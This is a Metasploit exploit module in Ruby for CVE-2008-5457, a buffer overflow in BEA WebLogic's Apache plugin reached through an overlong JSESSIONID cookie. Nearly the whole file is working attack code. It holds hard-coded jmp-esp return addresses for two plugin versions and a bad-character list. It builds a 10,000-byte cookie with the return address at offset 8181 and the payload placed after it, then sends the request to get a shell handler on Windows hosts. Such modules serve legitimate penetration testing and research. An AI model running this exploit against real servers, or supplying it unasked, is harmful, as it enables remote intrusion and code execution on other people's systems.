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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = GoodRanking
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  include Msf::Exploit::Remote::Tcp
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  include Msf::Exploit::Remote::Seh
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  def initialize(info = {})
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    super(update_info(info,
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      'Name'           => 'BEA WebLogic JSESSIONID Cookie Value Overflow',
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      'Description'    => %q{
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          This module exploits a buffer overflow in BEA's WebLogic plugin. The vulnerable
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        code is only accessible when clustering is configured. A request containing a
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        long JSESSION cookie value can lead to arbitrary code execution.
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      },
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      'Author'         => 'pusscat',
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      'References'     =>
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        [
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          [ 'CVE', '2008-5457' ],
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          [ 'OSVDB', '51311' ],
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        ],
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      'DefaultOptions' =>
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        {
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          'EXITFUNC' => 'seh',
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        },
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      'Privileged'     => true,
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      'Platform'       => 'win',
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      'Payload'        =>
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        {
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          'Space'    => 800,
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          'BadChars' => "\x00\x0d\x0a\x20\x3B\x3D\x2C",
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          'StackAdjustment' => -3500,
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        },
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      'Targets'        =>
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        [
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          [  'Windows Apache 2.2 - WebLogic module version 1.0.1136334',
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            {
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              'Ret' => 0x1006c9b5,    # jmp esp
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            }
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          ],
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          [  'Windows Apache 2.2 - WebLogic module version 1.0.1150354',
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            {
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              'Ret' => 0x1006c9be,    # jmp esp
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            }
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          ],
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        ],
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      'DefaultTarget'  => 1,
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      'DisclosureDate' => '2009-01-13'))
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    register_options(
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      [
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        Opt::RPORT(80)
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      ])
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  end
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  def exploit
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    sploit = Rex::Text.rand_text_alphanumeric(10000, payload_badchars)
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    sploit[8181, 4] = [target.ret].pack('V')
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    sploit[8185, payload.encoded.length] = payload.encoded
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    request =
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      "POST /index.jsp HTTP/1.1\r\nHost: localhost\r\nCookie: TAGLINE=IAMMCLOVIN; JSESSIONID=" +
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      sploit +
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      "\r\n\r\n"
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    connect
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    sock.put(request);
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    handler
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    disconnect
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  end
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end
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